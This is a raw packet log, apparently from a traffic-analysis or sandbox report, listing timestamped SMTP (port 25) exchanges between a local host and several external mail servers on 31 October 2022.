Oct 31, 2022 12:20:09.628150940 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.628253937 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.628268957 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.628281116 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.628349066 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.628361940 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.628372908 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.628416061 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.633704901 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.633963108 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.634104967 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.642077923 CET	49857	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:09.643709898 CET	49857	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:09.661545038 CET	25	49856	104.47.55.138	192.168.2.5
Oct 31, 2022 12:20:09.661659956 CET	49856	25	192.168.2.5	104.47.55.138
Oct 31, 2022 12:20:09.697477102 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.697499990 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.697511911 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.697525024 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.697634935 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.697645903 CET	49857	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:09.697711945 CET	49857	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:09.698055983 CET	49857	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:09.702507019 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.702629089 CET	49857	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:09.729269981 CET	25	49855	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:09.751804113 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.751830101 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.751842022 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.751849890 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.751861095 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.751873970 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.751883030 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.751923084 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.751935959 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.751943111 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.751950979 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.751961946 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.751970053 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.751971006 CET	49857	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:09.751971006 CET	49857	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:09.751992941 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.752006054 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.752012968 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.752022028 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.752032042 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.752063990 CET	49857	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:09.756475925 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.756503105 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.766591072 CET	25	49856	104.47.55.138	192.168.2.5
Oct 31, 2022 12:20:09.767533064 CET	25	49856	104.47.55.138	192.168.2.5
Oct 31, 2022 12:20:09.767637968 CET	49856	25	192.168.2.5	104.47.55.138
Oct 31, 2022 12:20:09.805825949 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.805855036 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.805866957 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.805874109 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.805885077 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.805896044 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.805903912 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.805922985 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.805931091 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.805938005 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.805948973 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.806071043 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.806083918 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.806094885 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.806106091 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.806113958 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.806124926 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.806132078 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:09.956103086 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.956131935 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:09.956202984 CET	49858	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:09.956248045 CET	49858	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:09.988528967 CET	49859	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:09.989470005 CET	25	49858	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:10.119050026 CET	25	49855	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:10.119239092 CET	49855	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:10.192854881 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:10.193053961 CET	49859	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:10.263130903 CET	25	49855	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:10.263282061 CET	49855	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:10.264905930 CET	25	49855	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:10.265075922 CET	49855	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:10.267374039 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:10.267405987 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:10.267559052 CET	49857	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:10.267644882 CET	49857	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:10.301630020 CET	49860	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:10.335777998 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.336040020 CET	49860	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:10.371296883 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.371655941 CET	49860	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:10.405469894 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.408613920 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.409045935 CET	49860	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:10.428873062 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:10.429071903 CET	49859	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:10.443171024 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.443528891 CET	49860	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:10.482250929 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.570241928 CET	49857	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:10.623372078 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.623797894 CET	49860	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:10.624013901 CET	25	49857	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:10.633243084 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:10.657527924 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.657777071 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.659152985 CET	49860	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:10.660279036 CET	49860	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:10.666796923 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:10.675107956 CET	49859	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:10.694092989 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.694129944 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.694148064 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.694159985 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.694174051 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.694349051 CET	49860	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:10.694413900 CET	49860	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:10.699280977 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.699421883 CET	49860	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:10.728108883 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.728132010 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.728142977 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.728149891 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.728157997 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.728177071 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.728188038 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.728199005 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.728210926 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.728221893 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.728234053 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.728245020 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.728256941 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.728267908 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.728277922 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.728326082 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.728338003 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.728348017 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.728370905 CET	49860	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:10.728465080 CET	49860	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:10.733135939 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.733158112 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.762273073 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.762332916 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.762363911 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.762392044 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.762419939 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.762450933 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.762479067 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.762506962 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.762535095 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.762561083 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.762588978 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.762615919 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.762643099 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.762674093 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.762701035 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.762729883 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.762758017 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.762785912 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.884207010 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:10.889395952 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.889432907 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:10.889642000 CET	49860	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:10.889642000 CET	49860	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:10.909893036 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:10.910156965 CET	49859	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:10.926737070 CET	49861	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:10.953984976 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:10.954698086 CET	49861	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:10.982984066 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:10.983247995 CET	49861	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:11.010334969 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.012921095 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.013185024 CET	49861	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:11.040571928 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.042545080 CET	49861	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:11.074285984 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.119158030 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:11.159312010 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:11.159971952 CET	49859	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:11.195250988 CET	49860	25	192.168.2.5	74.125.140.26
Oct 31, 2022 12:20:11.220990896 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.224026918 CET	49861	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:11.229079008 CET	25	49860	74.125.140.26	192.168.2.5
Oct 31, 2022 12:20:11.251266956 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.251580954 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.251734972 CET	49861	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:11.252860069 CET	49861	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:11.279973984 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.280013084 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.280024052 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.280034065 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.280045986 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.280386925 CET	49861	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:11.284595966 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.287914991 CET	49861	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:11.307729959 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.307782888 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.307794094 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.307804108 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.307812929 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.307821989 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.307832956 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.307845116 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.307856083 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.307867050 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.307878971 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.307888985 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.307899952 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.307912111 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.307923079 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.307934999 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.307945967 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.307952881 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.308073044 CET	49861	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:11.308160067 CET	49861	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:11.315057039 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.315087080 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.335222960 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.335257053 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.335273027 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.335288048 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.335303068 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.335316896 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.335333109 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.335346937 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.335361004 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.335376978 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.335391045 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.335406065 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.335419893 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.335433960 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.335449934 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.335464001 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.335479021 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.335493088 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.364445925 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:11.394839048 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:11.395684004 CET	49859	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:11.396912098 CET	49859	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:11.451971054 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.452037096 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.452326059 CET	49861	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:11.452553034 CET	49861	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:11.479912043 CET	25	49861	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:11.601219893 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:11.601252079 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:11.601267099 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:11.601280928 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:11.601298094 CET	49859	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:11.601334095 CET	49859	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:11.601339102 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:11.601368904 CET	49859	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:11.601368904 CET	49859	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:11.601392031 CET	49859	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:11.607044935 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:11.607140064 CET	49859	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:11.805906057 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:11.806000948 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:11.806030989 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:11.806057930 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:11.806085110 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:11.806111097 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:11.806138039 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:11.806164980 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:11.806191921 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:11.806219101 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:11.806246042 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:11.806273937 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:11.806286097 CET	49859	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:11.806299925 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:11.806327105 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:11.806346893 CET	49859	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:11.806355000 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:11.806370974 CET	49859	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:11.806380987 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:11.806408882 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:11.806437969 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:11.811526060 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:11.811568022 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:12.011014938 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:12.011106968 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:12.011132956 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:12.011185884 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:12.011212111 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:12.011250973 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:12.011275053 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:12.011300087 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:12.011322975 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:12.011346102 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:12.011368036 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:12.011390924 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:12.011414051 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:12.011435986 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:12.011456966 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:12.011480093 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:12.011501074 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:12.011524916 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:12.051469088 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:12.051542044 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:12.051690102 CET	49859	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:12.054584980 CET	49859	25	192.168.2.5	142.250.141.27
Oct 31, 2022 12:20:12.087131977 CET	49862	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:12.121000051 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.121165037 CET	49862	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:12.156443119 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.156644106 CET	49862	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:12.190411091 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.193348885 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.193581104 CET	49862	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:12.227797985 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.228174925 CET	49862	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:12.258914948 CET	25	49859	142.250.141.27	192.168.2.5
Oct 31, 2022 12:20:12.267549992 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.410075903 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.410650969 CET	49862	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:12.444786072 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.445030928 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.445498943 CET	49862	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:12.448234081 CET	49862	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:12.482407093 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.482462883 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.482497931 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.482525110 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.482553005 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.482552052 CET	49862	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:12.482552052 CET	49862	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:12.482650995 CET	49862	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:12.482650995 CET	49862	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:12.482690096 CET	49862	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:12.487567902 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.487746954 CET	49862	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:12.516340017 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.516361952 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.516374111 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.516386032 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.516397953 CET	25	49862	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:12.516408920 CET	25	49862	74.125.140.27	192.168.2.5
